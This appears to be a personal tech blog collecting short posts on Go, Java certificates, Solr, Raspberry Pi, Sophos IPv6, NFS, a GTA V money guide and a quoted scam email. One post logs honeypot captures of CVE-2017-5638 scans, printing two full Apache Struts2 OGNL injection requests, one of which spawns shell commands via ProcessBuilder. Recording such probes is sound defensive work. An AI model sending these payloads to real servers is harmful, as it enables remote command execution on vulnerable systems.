go: cannot find main module; see ‘go help modules’

I was working on building a Docker image containing a go application when i ran in to the following error when running go tidy as a build step:
“go: cannot find main module; see ‘go help modules'”

The reason for this was that i had forgotten to specify a workdir in my Dockerimage (Alternatively, specified a go dir). Thus a fail safe error is triggered, as go simply gets confused over finding a go.mod in the gopath root folder, which is supposed to be within your source folder. [source]

The fix? Specify a WORKDIR in your Dockerfile.


Java + LetsEncrypt certificate giving SunCertPathBuilderException

During testing some java code i have for doing a check against i got an exception is have not seen before:

PKIX path building failed: unable to find valid certification path to requested target

After digging around i realised that the site in question has started using certificates from Lets Encrypt.

Java keeps their known certificate providers bundled with the installation, so if your JRE/JDK installation is not quite up to date, it will be as simple as to simply upgrade to the latest release. (Anything >= Oracle Java 8u101 has Lets Encrypt root cert bundled)


CVE-2017-5638 scanning still going on

I recently wrote a honey pot that i am currently playing around with. It did not take long before suspicious traffic started popping up. Many of the scans/hacking attempts are against CVE-2017-5638, which relates to a security issue in Apache Struts2 that started getting exploited in march 2017.

The scans/hacking attempts i have seen regarding this the last 24 hours are listed below, they do nothing more than to see if the seucurity hole exist.

Type 1:

GET / HTTP/1.1
Content-Type: %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#wmres=#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’]).(#wmres.getWriter().print(“S2-045 dir–***”)).(#wmreq=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’)).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath(“/”))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data
Accept: */*
Referer: http://**my Ihoneypot P**:81
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host:**my Ihoneypot P**:81
Connection: Keep-Alive


Type 2:

GET /index.action HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: */*
Content-Type: %{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’whoami’).(#iswin=(@java.lang.System@getProperty(‘’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,’echo windows–2017′}:{‘/bin/bash’,’-c’,’echo linux–2017′})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}
Host:**my Ihoneypot P**:81
Connection: Keep-Alive


How to enable IPv6 on your Sophos UTM (Former Astaro Unified Threat Management)

Step 1: After logging in to the admin interface, go to Interfaces and Routing -> IPv6, and enable “IPv6 status”. As my UTM recieve a IPv6 prefix from my ISP, i end up with this: 1   Step 2: Assign an IPv6 address to your internal interface. This address should be the first IP in your assigned IPv6 prefix. To calculate your range, copy your delegated prefix and go to this calculator. Notice that i have used a /64-prefix internally. 2   Step 3: Go to Interfaces and Routing -> IPv6 -> Prefix Advertisement. Select your internal interface. Then add the IPv6 address of your DNS Server, or the IP of your internal interface of your UTM handes DNS itself. 3   And voila, your internal clients should now be able to recieve IPv6 addresses. I recommend rebooting both the UTM and any clients if they do not get any addresses at this point.


How to fix LockObtainFailedException on Solr start

If you have experienced a Solr crash during a commit (which, of course, is the worst possible time, Murphy`s law etc), you might have received a LockOptianFailedException when trying to start Solr. This makes it impossible to start Solr at all.

You can solve this by configuring Solr to delete any lock files when starting up,
you can also configure Solr to use a normal lock file instead, which you can manually delete if you prefer that.

Simply correct your solrconfig.xml to the following values, they are per default
commented out in solrconfig.xml.



How to measure the temperature of your Raspberry PI

When running Raspian on your PI (and other distro`s for PI), an Raspberry PI specific application is installed, which let you monitor everything from volt-status, HDMI-status to the PI`s core temperature.

To check the core temperature, simply run the command  “/opt/vc/bin/vcgencmd measure_temp”

PS: Run the commando  “/opt/vc/bin/vcgencmd commands” to see all the data you can extract via that application.

Unfortunately, it does not appear to be possible to check the temperature elsewhere on the (physical) Pi, without getting a temperature sensor.


Guide: How to make money in GTA V (GTA 5)

Here is a short list with five items explaining how to make money in GTA V / GTA 5.

1: Be a taxi driver!
Steal a taxi, then you can accept taxi jobs around in the game, if yo drive nicely, you will even get tips for the rides. You can earn upwards of $300 for a single ride.

2: Kill people and steal their money
You can rob people after killing them, the problem with that is that the police will get on your tail. Not very viable in the long-term… PS: If you hang around an ATM, then rob them those who withdraw cash, you are more likely to earn some more cash.

3: Go on the stock market
You can invest money in the stock market, it is not a guaranteed profit, so you should not do this unless you have money to lose.

4: Rob armored cars
If you see a blue dot on the map (unless when the cops are after you!), that means that there is an armored car there. If the car is parked and you see a person walking towards it with a suitcase, you can earn $5K by shooting him. You can also steal the car and break open the back doors.

5: Rob stores
Any store that is open for business, can be robbed! By walking into a store, then slowly going back, so that your character keeps the doors open (with the doors pointing outwards), you can equip a weapon. Shoot the cash register and they will open up and you will get your money!

Linux Windows

How to install Raspian for Raspberry Pi from Windows

I am currently in the process of setting up a SETI@Home cluster running on Raspberry PI boxes. Currently i am working with three nodes, and i will expand it if is a success.

For OS, i use Raspian (Debian clone), combined with some cheap 8GB SDCards from a random cheap vendor.

In order to install the Raspian ISO image to a SD card, i use the application win32 disk imager, which simply takes a ISO image, and writes it to a designaded SD card.

It is worth noticing that this will cause the partition(s) on the SD card to not be any larger than the image itself. But you can fix this upon your first Raspberry PI boot, as the application “raspi-config” will be auto-started. (if not, start it)

Linux Uncategorized

Workaround for inotify on NFS-clients

I run multiple virtual machines which shares all their data via a NFS-server. I have an application that fetches files, and another server that watches for new files in a folder, using inotify. But i quickly noticed that inotify does not work over NFS. I “fixed” this by doing a simle workaround that finds all files in the watched folder, and simply touches them. This causes inotify to dectect those files.

find s -type f -exec touch {} \;

This works for me since i can simply run the command via cron, or via another scheduled job, but that does not mean that i works for your case. But perhaps it gives you some ideas.

Scam Web

Scam: “URGENT Brand Registration Confirmation”

Yet another scam that goes around. This time it`s an attempt to brand owners to “register” their brands in China before “some company steals it”. And as usually, just to ignore.

(Letter to the President or Brand Owner, thanks)

Dear Sir/Madam,

We are the department of Asian Domain Registration Service in China. I have something to confirm with you. We formally received an application on April 22, 2013 that a company which self-styled “YaZi Int’l Company” were applying to register “<brand>” as their Brand Name and some domain names through our firm.

Now we are handling this registration, and after our initial checking, we found the name were similar to your company’s, so we need to check with you whether your company has authorized that company to register these names. If you authorized this, we will finish the registration at once. If you did not authorize, please let us know within 7 workdays, so that we will handle this issue better. After the deadline we will unconditionally finish the registration for “YaZi Int’l Company”. Looking forward to your prompt reply.


Adding custom shortcuts to the Windows 8 start page

It is rather simple to add items to the metro home screen, by searching them up and then pinning them. But it is also possible to pin custom shortcuts to the same screen. Simply right-click the shortcut you want to pin, and select “pin to start”. It will then appear together with the other pinned content 🙂

Mobile & Gadgets

How to create website shortcuts on Samsung Galaxy

If you want a shortcut to some of your favorite websites from the home screen, you first have to add those websites as bookmarks. In Chrome i do this by pressing menu, then selecting the star icon.

Afterwards, go back to the home screen, select menu, select “add apps and widgets”, then add the bookmark widget. You will then get a list of your bookmarks which you can add to your home screen.